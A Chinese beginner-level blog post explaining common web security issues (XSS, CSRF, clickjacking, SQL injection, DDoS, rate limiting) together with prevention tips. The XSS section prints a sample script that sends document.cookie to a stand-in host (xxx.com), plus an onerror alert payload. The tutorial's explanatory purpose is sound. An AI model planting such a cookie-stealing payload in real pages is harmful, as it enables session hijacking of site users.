【网络基础】作为一个初级前端,需要知道的几个网络安全问题

前言

本文作用只是抛砖引玉,带前端小白认识几个简单的网络安全问题。如果想深入了解具体的某一项,可以对应的去百度下。

标题标记了“要记”的要重点记忆下。


中间人攻击(要记)

看我写的文章里有【网络基础】通俗易懂的了解HTTPS的整体过程

里面的公私钥方法可以借鉴拿来单独对某个数据进行二次的加密。例如一些需要传给后端的敏感数据。


XSS跨站脚本攻击(要记)

举例

  • 黑客通过一些手段往你的网址body中插入<script>标签执行代码。
  • 或者是用户输入的表单信息通过vue的v-html或者react的dangerSetInnerHTML回显到页面上,如果用户输入恶意js代码,就会发生脚本攻击。

具体说明:例如获取你的cookie

可以插入这个最简单的代码(利用img图片没有跨站限制的特性):

<script>
  let img = document.createElement("image")
  img.src = "https://xxx.com/sss?cookie=" + document.cookie
</script>

插入这个脚本后,给你页面加了个图片标签,地址写的是一个请求并且附带了你的cookie。

又或是加个这样的img标签:

<img src="1" onerror="javascript:alert('xss')"/> 

当这个img读取失败时,onerror会被执行。

预防

可以通过npm下载xss库,原理就是把<等字符转译成&lt;的html识别符号,这样插入到dody中的script标签就直接当成文本去渲染了。

vue提供了{{}}符号,就是为了防止xss攻击,但是v-html就有风险了。v-html指令,当里面的值也存在一些脚本标签的时候,也是会执行的。所以千万不要让用户能去输入这个值。

react把很多标签原生方法重写了,也已经帮我们处理了。

还有就是提交表单的时候,内容给你输入html恶意标签,一般可以后端对入参进行处理,遇到有html的内容就给转成其他字符。


天然的同源策略(要记)

这是浏览器自带的安全策略,咱只需要考虑怎么处理接口跨域问题。

具体可看我这篇文章


静态资源(要记)

通过webpack的配置,使得项目打包的时候不把js.map文件打包出来,这样上线后,如果有人恶意去查看source信息,看源码的时,是看不懂的,因为没有了map的代码映射。


接口验证(要记)

比如后端返回一些标识,前端放入请求头中,每次请求都带过去,后端根据请求头中的标识做识别,校验。


CSRF跨站请求伪造(要记)

举例

一般出现在古老的一些购物网站,在购物邮件里点击外链跳到一个陌生网站,里面有个<img src="一个购物请求地址">,从而发送购物get请求。

利用的就是img无跨域限制和cookie自动添加入请求头的机制。

例如你自己可以试试,把某个网站的get请求复制下来,放在你本地的一个html文件里img标签的src属性里,然后本地访问下这个文件。你就会发现发送了复制的那个get请求,由于自动带上了某个网站的cookie,所以对方服务器根据cookie认为是个正常请求,所以正常返回数据。

post请求也是可以模拟的,利用form标签的提交行为,具体就不说了理解意思就行

预防:

  • 不使用cookie存放用户信息,改用JWT(个人认为最好的方式)
  • cookie设置SameSite=lax;这样在其他网站发送post请求的时候,会校验发送网站和发送地址是否同域,不同就不带上cookie(所以这也是为啥公司都会时不时搞个钓鱼邮件)。
  • 服务端做限制判断referrer请求来源(可不记,被淘汰了)。

点击劫持

利用iframe搞个透明的按钮叠在页面上的某个按钮,例如你在一个A博客网站中点了一个“首页”按钮,结果这个按钮被叠上了B博客网站(之前已登陆)中的某个按钮。

预防:禁止加载其他网页的iframe(同域名的可以就行了),请求头里有个X-Frame-Options可以设置。


DDos

分布式拒绝服务,通过分布式的,大规模的浏览访问使服务器瘫痪

预防:买防火墙。


SQL注入

提交内容时写入SQL语句,把原来正常的语句改造成了其他恶意语句,破坏数据库。

预防

  • 处理输入的内容,发现特殊字符就进行转译。
  • 对入参类型进行校验,例如id字段就必须是整数型的。

无限制请求

恶意对某个接口进行海量请求导致服务器瘫痪。

预防

  • 对所有的接口进行限流,例如同一个接口限制3s内只能请求5次,超出提示请求过于频繁,然后后端啥都不做。
  • 把一些常用但update不频繁的接口用redis缓存起来,不用再去查数据库,减少性能。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值